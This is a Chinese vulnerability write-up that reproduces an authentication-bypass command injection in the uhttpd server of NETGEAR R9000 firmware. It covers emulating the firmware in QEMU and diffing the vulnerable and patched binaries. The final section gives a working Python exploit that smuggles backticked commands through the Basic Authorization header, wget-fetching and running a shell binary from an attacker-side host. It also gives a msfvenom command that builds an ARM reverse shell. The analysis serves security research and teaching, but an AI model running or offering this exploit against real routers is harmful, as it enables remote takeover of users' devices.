前言 此文已投给蚁景网安,蚁景网安公众号链接 。
漏洞概述
漏洞服务: uhttpd
漏洞类型: 远程命令执行
影响范围: 1.0.4.26之前的NETGEAR R9000设备会受到身份验证绕过的影响
解决建议: 更新版本
漏洞复现
操作环境: ubuntu:22.04
qemu-version: 8.1.1
仿真环境 1 wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.26.zip
下载固件。
1 binwalk -Mer R9000-V1.0.4.26.img
可通过 binwalk
常规解压获得文件系统。
检查 ELF32
文件架构为 arm-32-little
。
1 2 3 wget https://file.erlkonig.tech/debian-armhf/wheezy/debian_wheezy_armhf_standard.qcow2 wget https://file.erlkonig.tech/debian-armhf/wheezy/initrd.img-3.2.0-4-vexpress wget https://file.erlkonig.tech/debian-armhf/wheezy/vmlinuz-3.2.0-4-vexpress
下载合适的虚拟机映像。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # !/bin/sh # 参考《CTF实战》by ChaMd5 # 'ens33' : The NIC is that can connect internet# sudo ifconfig eth0 down sudo brctl addbr br0 # 添加一座名为 br0 的网桥 sudo brctl addif br0 ens33 # 在 br0 中添加一个接口 sudo brctl stp br0 off # 如果只有一个网桥,则关闭生成树协议 sudo brctl setfd br0 1 # 设置 br0 的转发延迟 sudo brctl sethello br0 1 # 设置 br0 的 hello 时间 sudo ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口 sudo ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口 sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址 sudo brctl show br0 # 查看虚拟网桥列表 sudo brctl showstp br0 # 查看 br0 的各接口信息 sudo tunctl -t tap0 -u root # 创建一个 tap0 接口,只允许 root 用户访问 sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口 sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口 sudo brctl showstp br0
配置网络。
1 2 3 4 5 6 7 8 9 # !/bin/sh qemu-system-arm \ -M vexpress-a9 \ -kernel vmlinuz-3.2.0-4-vexpress \ -initrd initrd.img-3.2.0-4-vexpress \ -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \ -append "root=/dev/mmcblk0p2 console=ttyAMA0" \ -net nic -net tap,ifname=tap0,script=no,downscript=no \ -nographic
1 2 3 4 5 6 7 8 9 10 11 -M # 选择开发板 -m # 指定内存大小 -drive # 定义存储驱动器 file= # 定义镜像文件 -net nic # 创建客户机网卡 -net tap # 创建 tap 设备,以桥接方式跟宿主机通信 ifname=virtual0 # tap 设备与名为 virtual0 的虚拟网卡进行桥接通信 -nographic # 以非图形化模式启动 -append # 内核启动附加参数 -console=ttyAMA0 # console指向串口,有此启动参数,内核启动日志才能输出到宿主机终端 -nographic # 不再启用额外的终端界面
启动 qemu-system-armhf
环境,默认用户名密码都为 root
。
1 ifconfig eth0 192.168.152.168/24
为 qemu-system-armhf
配置静态 IP
。
1 2 tar -cvf squashfs-root.tar.gz squashfs-root/ python3 -m http.server
将文件根系统打包,然后利用 python3
的 http.server
模块下载到 qemu-system-armhf
的根目录中并用 tar xvf squashfs-root.tar.gz
解压。
1 2 3 4 cd /squashfs-root mount --bind /proc proc # proc目录是一个虚拟文件系统,可以为linux用户空间和内核空间提供交互 mount --bind /dev dev # /dev/下的设备是通过创建设备节点生成的,用户通过此设备节点来访问内核里的驱动 chroot . sh
因为 chroot
会导致无法在隔离的文件系统中访问原本的 /proc
和 /dev
目录,这里利用 mount
命令将 qemu-system-armhf
的 proc
和 dev
目录挂在到 squashfs-root
中,并更换根目录为 squashfs-root
。
Web模拟 1 2 find -name uhttpd cat ./etc/init.d/uhttpd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # ./etc/init.d/uhttpd ... start() { # config_load uhttpd # config_foreach start_instance uhttpd # mkdir /tmp/www # cp -rf /usr/www/* /tmp/www /www/cgi-bin/uhttpd.sh start inetd detplc #for bug58012 touch /tmp/fwcheck_status } ...
查找 uhttpd
的相关文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 # !/bin/sh REALM=`/bin/cat /module_name | sed 's/\n//g'` UHTTPD_BIN="/usr/sbin/uhttpd" PX5G_BIN="/usr/sbin/px5g" uhttpd_stop() { kill -9 $(pidof uhttpd) } uhttpd_start() { $UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443 } case "$1" in stop) uhttpd_stop ;; start) uhttpd_start ;; restart) uhttpd_stop uhttpd_start ;; *) logger -- "usage: $0 start|stop|restart" ;; esac
查看 start()
函数中利用的 /www/cgi-bin/uhttpd.sh
脚本。发现启动命令为 $UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
其中 REALM = R9000
,UHTTPD_BIN = /usr/sbin/uhttpd
。我们无需开启 https
,所以启动命令为 /usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80
。
逆向分析 1 wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.28.zip
获取修复版本的固件。因为源码较为繁杂,我们通过 Bindiff
进行二进制比对,来查找漏洞点。
shift+D
选取修复版本的 /usr/sbin/uhttpd
文件即可,主要查看登录验证的 uh_cgi_auth_check()
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 memset (s, 0 , 0x1000 u); v14 = strlen (v13); uh_b64decode (s, 0xFFF , v13 + 6 , v14 - 6 ); v15 = strchr (s, ':' ); if ( !v15 ) { LABEL_32: v16 = 0 ; v17 = 0 ; goto LABEL_15; } v16 = v15 + 1 ; *v15 = 0 ; if ( v15 != (char *)0xFFFFFFFF ) { snprintf (command, 0x80 u, "/usr/sbin/hash-data -e %s >/tmp/hash_result" , v15 + 1 ); system (command); v3 = cat_file (73805 ); } v17 = s
漏洞版本 base64
解密后 snprintf()
后直接传给 system()
执行,这里会把 v15(:)
后面的内容放到 %s
处,记得加\n
来执行多条指令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 memset (s, 0 , 0x1000 u); v15 = strlen (v14); uh_b64decode (s, 4095 , v14 + 6 , v15 - 6 ); v16 = strchr (s, 58 ); if ( !v16 ) { LABEL_15: v17 = 0 ; v18 = 0 ; goto LABEL_16; } v17 = v16 + 1 ; *v16 = 0 ; if ( v16 != (char *)-1 ) { v18 = s; dni_system ("/tmp/hash_result" , 0 , 0 , "/usr/sbin/hash-data" , "-e" , v17, 0 ); v19 = cat_file ("/tmp/hash_result" ); goto LABEL_17; }
而修复版本则利用 dni_system()
执行,只可控参数。
获取权限 poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *import requestsimport base64cmd = 'admin:' cmd += '`' cmd += 'wget http://192.168.152.167:8000/shell.elf\n' cmd += 'chmod 777 ./shell.elf\n' cmd += './shell.elf\n' cmd += '`' assert (len (cmd) < 255 )cmd_b64 = base64.b64encode(cmd.encode()).decode() headers = { "User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" , "Accept-Encoding" : "gzip, deflate" , "Connection" : "keep-alive" , "Upgrade-Insecure-Requests" : "1" , "Authorization" : "Basic " + cmd_b64 } def attack (): try : requests.get("http://192.168.152.168/cgi-bin/" , headers=headers, timeout=3 ) except Exception as e: print (e) attack()
1 msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.152.167 LPORT=10086 -f elf > shell.elf
利用 msf
生成对应架构的木马程序,然后在shell.elf
所在的目录开启http
服务,利用漏洞将木马程序下载下来。
启动监听,并执行 exp.py
成功获取 shell
,我们利用获取的权限在 www
目录创建 flag.txt
文件然后访问它。
成功创建。